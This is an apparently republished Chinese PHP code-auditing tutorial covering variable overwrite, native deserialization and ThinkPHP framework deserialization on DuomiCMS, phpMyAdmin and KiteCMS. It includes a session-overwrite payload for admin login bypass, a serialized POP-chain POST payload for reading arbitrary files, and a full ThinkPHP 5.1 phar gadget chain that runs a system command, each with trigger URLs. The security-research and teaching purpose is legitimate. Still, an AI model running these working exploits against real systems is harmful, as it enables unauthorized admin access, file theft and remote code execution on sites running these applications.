当前位置: 首页 > news >正文

代码审计-PHP模型开发篇动态调试反序列化变量覆盖TP框架原生POP链

知识点

1、PHP审计-动态调试-变量覆盖
2、PHP审计-动态调试-原生反序列化
3、PHP审计-动态调试-框架反序列化

PHP常见漏洞关键字

SQL注入:
select insert update  delete mysql_query mysqli等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等 
XSS跨站:
print print_r echo sprintf die var_dump var_export等
文件包含:
include include_once require require_once等
代码执行:
eval assert preg_replace call_user_func call_user_func_array等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables() $$ 等
反序列化:
serialize() unserialize() __construct __destruct等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()

通用关键字

$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER

一、演示案例-PHP审计-动态调试-原生变量覆盖-DuomiCMS

在这里插入图片描述
搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql

1、找到一个配置common.php(搜$$)

在这里插入图片描述
在这里插入图片描述

2、找一个利用点(后台登录点覆盖session)

login.php->checkuser()->keepUser()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、动态调试获取保持登录当前的session

在这里插入图片描述
在这里插入图片描述

4、找一个能将session覆盖的地方(session_start函数调用)

-session_start函数调用

在这里插入图片描述
在这里插入图片描述

5、session覆盖进后台

_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-PHP审计-动态调试-原生反序列化-PhpMyAdmin

搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql
自动审计或搜索关键字找到文件及代码段

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

1、搜unserialize找入口

/scripts/setup.php
$configuration = unserialize($_POST['configuration']);

在这里插入图片描述

2、找直接调用魔术方法__wakeup()

在这里插入图片描述

libraries/common.lib.php
触发:$_SESSION['PMA_Config']->__wakeup();libraries/Config.class.php
触发:$this->load($this->getSource());

3、跟踪load和getSource实现

getSource:获取变量source

在这里插入图片描述
在这里插入图片描述

loade:eval执行file_get_contents

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、构造pop链发包触发文件读取

<?php
class PMA_Config{
var $source = 'd:/1.txt';
}$p=new PMA_Config();
echo serialize($p);
?>

在这里插入图片描述
触发:

Post:/scripts/setup.php
action=xiaodi&configuration=O:10:"PMA_Config":1:{s:6:"source",s:8:"d:/1.txt";}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
反序列化本身并不是一个漏洞,而是通过反序列化调用到了其他漏洞函数从而利用反序列化执行例如RCE、文件读取等效果。

5、动态调试下断点看POP链

断点:$configuration = unserialize($_POST['configuration']);

在这里插入图片描述
在这里插入图片描述

三、演示案例-PHP审计-动态调试-框架反序列化-KiteCMS

搭建环境:Phpstudy2018+Php7.0+Apache+Mysql

1、源码目录分析采用TP框架开发

在这里插入图片描述

2、获取TP框架对应版本和漏洞情况

const VERSION = '5.1.37 LTS';

3、使用PHPGGC模版生成Phar文件

参考:https://www.cnblogs.com/zzjdbk/p/13030571.html
在这里插入图片描述

/phpggc-master/gadgetchains/ThinkPHP/RCE/1
调用链:gadgets.php
触发生成:chain.php

在这里插入图片描述
phar利用条件

phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
注意:将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

在这里插入图片描述

xiaodi.php
<?php
namespace think\process\pipes {class Windows{private $files;public function __construct($files){$this->files = array($files);}}
}
namespace think\model\concern {trait Conversion{protected $append = array("smi1e" => "1");}trait Attribute{private $data;private $withAttr = array("smi1e" => "system");public function get(){$this->data = array("smi1e" => "notepad");}}
}
namespace think {abstract class Model{use model\concern\Attribute;use model\concern\Conversion;}
}
namespace think\model{use think\Model;class Pivot extends Model{public function __construct(){$this->get();}}
}
namespace {$conver = new think\model\Pivot();$a = new think\process\pipes\Windows($conver);$phar = new Phar('xiaodi.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$phar -> setMetadata($a);$phar -> stopBuffering();
}
?>

在这里插入图片描述
在这里插入图片描述

4、找个上传文件地方后上传xiaodi.png

在这里插入图片描述
在这里插入图片描述

5、找加载文件地方(搜is_dir)

admin/controller/Admin.php
scanFiles、scanFilesForTree

在这里插入图片描述
在这里插入图片描述

6.在使用phar触发png 的pop链

http://192.168.1.148/admin/admin/scanFiles?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.pnghttp://192.168.1.148/admin/admin/scanFilesForTree?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.png

在这里插入图片描述

http://www.lryc.cn/news/347845.html

相关文章:

  • 前端动态旋转地球背景
  • MySQL中的子查询
  • Unity打开安卓设备不同的设置面板
  • 低空经济+无人机:低空物资运输技术详解
  • 全场景智能终端RK3288主板在智能垃圾回收项目的应用,支持鸿蒙,支持全国产化
  • QT设计模式:建造者模式
  • 个人微信api
  • 使用Ownips工具获取海外电商网站wish商品价格
  • 【FFmpeg】调用ffmpeg进行H264软解
  • 网络安全防护:抵御DDoS和CC攻击
  • 初次查询大数据信用报告,需要注意哪些问题?
  • 最短路径[floyd算法]-----视频讲解+代码实现
  • 图像/视频恢复和增强CodeFormer
  • WPF中ObservableCollection
  • 如何用鼠标点击在picturebox的图像上做标记
  • k8s介绍
  • K-means聚类模型:深入解析与应用指南
  • CTF-密码学基础
  • 代码随想录算法训练营day22 | 654.最大二叉树、617.合并二叉树、700.二叉搜索树中的搜索、98.验证二叉搜索树
  • 企业信息防泄漏软件分析:盘点常用企业信息防泄漏软件
  • Rancher-Kubewarden-保姆级教学-含Demo测试
  • Lumerical Script ------ array 数组类型 和 matrix 矩阵类型
  • Springboot自动装配源码分析
  • Visual Transformer (ViT)模型详解 动图讲解
  • C++:完美转发(一)(std::forward)
  • 西部首个全域直播基地,打造西部直播基地领军形象
  • 钟表——蓝桥杯十三届2022国赛大学B组真题
  • CSS 之 圆形波浪进度条效果
  • 按下鼠标进行拖拽,让元素跟随鼠标进行移动,鼠标抬起,元素停止移;js鼠标拖拽 (鼠标按下事件:onmousedown、鼠标移动事件:onmousemove、鼠标抬起事件:onmouseup)
  • 第十二章 项目采购管理